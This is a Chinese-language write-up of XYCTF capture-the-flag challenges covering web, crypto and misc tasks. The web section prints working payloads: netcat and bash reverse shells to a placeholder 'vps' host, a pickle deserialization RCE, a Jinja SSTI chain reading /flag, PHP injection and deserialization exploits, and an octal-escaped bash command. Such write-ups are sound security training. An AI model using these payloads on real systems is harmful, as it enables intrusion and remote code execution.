图片直接从记录的word里面导出来的有点模糊😓
由于个人实力较菜加之空余时间较少,只出了这几个题流/(ㄒoㄒ)/~~
web
ezpop
首先用gc机制绕过抛出异常然后构造call_user_func
用end
函数返回数组最后一个元素的值
数组最后一组构造成systemcall_user_func($a,$d)
就变成了system
然后$c就可以执行命令了,复制成cat /f*$d
给个空值
注意修改属性大小
ezMake
输入help发现有个source指令,可以用来读取文件
直接 source f*
读取flag
ez?Make
测试发现nc没被ban,直接nc vps port -e sh拿到shell
ezmd5
直接搜两个md5值相同的文件
搜到一个网站
https://natmchugh.blogspot.com/2014/10/how-i-created-two-images-with-same-md5.html
将两个文件上传即可
warmup
第一步简单绕过
第二步preg_replace命令执行
ezhttp
先去robots.txt
跟随
然后根据要求一一完成就行
POST /index.php HTTP/1.1
Host: xyctf.top:42385
User-Agent: XYCTF
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 48
Origin: http://xyctf.top:42385
Connection: close
Upgrade-Insecure-Requests: 1
Referer: yuanshen.com
Client-Ip: 127.0.0.1
Via: ymzx.qq.com
cookie: XYCTFusername=XYCTF&password=%40JOILha%21wuigqi123%24
牢牢记住,逝者为大
想用echo 实现不了
用eval,先用%0d换行绕过注释符,然后用反引号执行指令缩减长度,然后%23注释后面的逗号,由于长度限制,使用$_GET再传个参,然后由于没有回显,用cp将flag传出来
f l a都被过滤,用[@-z]
绕过
最终exp
cmd=%0d$_GET[1]
;%23&1=c\p /[@-z][@-z][@-z]g 1
然后访问url/1就能拿到flag
ezSerialize
第一关用个引用就能绕过
第二关也没难度,跟着构造就行
第三关有个原生类利用,用php伪协议就能读取所有文件了
<?php
// flag.php
class XYCTFNO1
{
public $Liu;
public $T1ng='yuroandCMD258';
public $upsw1ng;
public $crypto0='dev1l';
}
class XYCTFNO2
{
public $crypto0;
public $adwa;
public function XYCTF()
{
if ($this->adwa->crypto0 != 'dev1l' or $this->adwa->T1ng != 'yuroandCMD258') {
return False;
} else {
return True;
}
}
}
class XYCTFNO3
{
public $KickyMu;
public $fpclose;
public $N1ght = "oSthing";
public function XY()
{
if ($this->N1ght == 'oSthing') {
echo "WOW, You web is really good!!!\n";
echo new $_POST['X']($_POST['Y']);
}
}
public function __wakeup()
{
if ($this->KickyMu->XYCTF()) {
$this->XY();
}
}
}
$a=new XYCTFNO3();
$a->KickyMu=new XYCTFNO2();
$a->KickyMu->adwa=new XYCTFNO1();
echo serialize($a);
我是一个复读机
爆破密码admin/asdqwe
然后不知道如何时候尝试ssti发现{{}}
都被过滤,xss测试可以弹窗
提示不能识别中文,输入中文发现会回显花括号,输入两个中文回显两对花括号,盲猜可以在两个中文后面模板注入,输入我去9+9发现回显18
然后就是用request绕过
然后发现还得用{%%}
这种形式然后前面加上一个中文
并且测试发现attr request没被过滤
exp:sentence=%E4%B8%80%print%20(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()%&a=__globals__&b=os&c=cat%20/flag
ezRCE
只有数字发现可以用8进制绕过
但是无法执行有参数的指令
用两次here-strings绕过exp: cmd=$0<<<$0<<<$'\143\141\164\40\57\146\154\141\147'
ezClass
还是php原生类利用,不多赘述
login
在注册界面随便注册一个账号
可以看到RemberMe后面像是pickle反序列化
构造一手
测试发现reduce被过滤
参考文章
从零开始python反序列化攻击:pickle原理解析 & 不用reduce的RCE姿势 - 知乎 (zhihu.com)
pickle反序列化的利用技巧总结 - 知乎 (zhihu.com)
exp:
import base64
data=b'''(cos
system
S'bash -c "bash -i >& /dev/tcp/vps/port 0>&1"'
o.'''
print(base64.b64encode(data))
pharme
想执行eval就需要截断掉后面的字符,使用HALT_COMPILER()
函数
然后构造phar 序列化
生成exp.phar,上传测试发现只能上传jpg,并且过滤HALT_COMPILER,先用gzip加工一下
然后再修改成jpg后缀上传
然后再class.php里面包含phar文件,又过滤了phar://
头,使用compress.zlib://phar://
Crypto
Sign1n签到
from Crypto.Util.number import *
from tqdm import *
import gmpy2
m=12345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567891134567780112455778012234677900124556899112356679901344568891223556780113345788901245667900134456899023355788001344568991133566789112455688902335578800133467889112456679901245567991223557880013355689911334677891124556889122355788001245568990233566789112455779902335577801124457889112346779911344578801233467789112355779912234577990233556780113
def custom_reduce(input_str):
input_list = list(str(input_str))
length = len(input_list)
for i in range(length):
if((i+1)%10==int(input_list[i])):
input_list[i]='0'
else:
input_list[i]='1'
result = ''.join(input_list)
return result
a=custom_reduce(m)
def swap_bits(input_str):
input_list = list(str(input_str))
length = len(input_list)
for i in range(length // 2):
temp = input_list[i]
input_list[i] = input_list[length - 1 - i]
input_list[length - 1 - i] = temp
return ''.join(input_list)
b=swap_bits(a)
while b.endswith('0'):
b = b[:-1]
s1='00'+b
s11=long_to_bytes(int(s1,2))
#print(int(s1,2))
print(s11)
MISC
熊博士
埃特巴什解码
game
谷歌搜图Papers,Please
zzl的护理小课堂
看一下源码
把执行输出flag的指令再控制台执行一遍就行了
ez隐写
两处伪加密修改成00
hint.png修复长宽
试了几下发现解压密码是20240401
拿到一张水印图片
然后提取一下隐形水印
ZIP神之套
用ida打开exe文件看到有字符串xyctf????????ftcyx
猜测压缩包的掩码攻击
爆破出来密码是xyctf20240402ftcyx
打开之后有两个文件 一个加密一个不加密,文件内容极其相似
明文攻击
恢复密钥然后还原就能打开了
TCPL
用UCB RISC-V架构执行TCPL文件
环境搭建参考
https://blog.csdn.net/qq_63922192/article/details/133495747
flag里面的1换成0就ok了
网络追踪
根据最后几个包知道靶机ip是192.168.204.133
通过三次握手过滤出开放的端口
发现开放445 139 135三个端口
根据SMB 445 windows xp 搜索相关cve
试了好多才试出来
Osint2
根据洛阳龙门站点和实践15:10搜索到相关车次
然后搜了一下发现G3292搜不到,车次就是G3293
再搜洛阳必去景点试了几个
第二个老君山就是的
彩蛋
两串数字对应开头和结尾flag
第一段XYCTF{this_a_
第三段find_it}
中间那段找了很长时间,跟最开始的想法一样隐写再图片里了
这个图片先转webp转png然后lsb隐写
好奇怪的编码不过keyborad也算小小提示
第二段bl0ckbuster_for_png_and_i_think_yon_can_
XYCTF{this_a_bl0ckbuster_for_png_and_i_think_yon_can_find_it}
Osint1
小红书有人发了,在南通海安最东面沿海
高德地图跟一下发现最东边有条路滨海东路正好跟图片里面的一样
真>签到
放到010就出了
Ez_Base1024*2
Ez_osint
用stegsolve可以看到水印
根据时间搜索相关时光邮件
好在ulr可以跳转页数
最后定位然后在评论区找到flag
美妙的歌声
audition打开拿到密码
然后用deepsound解密
提取出flag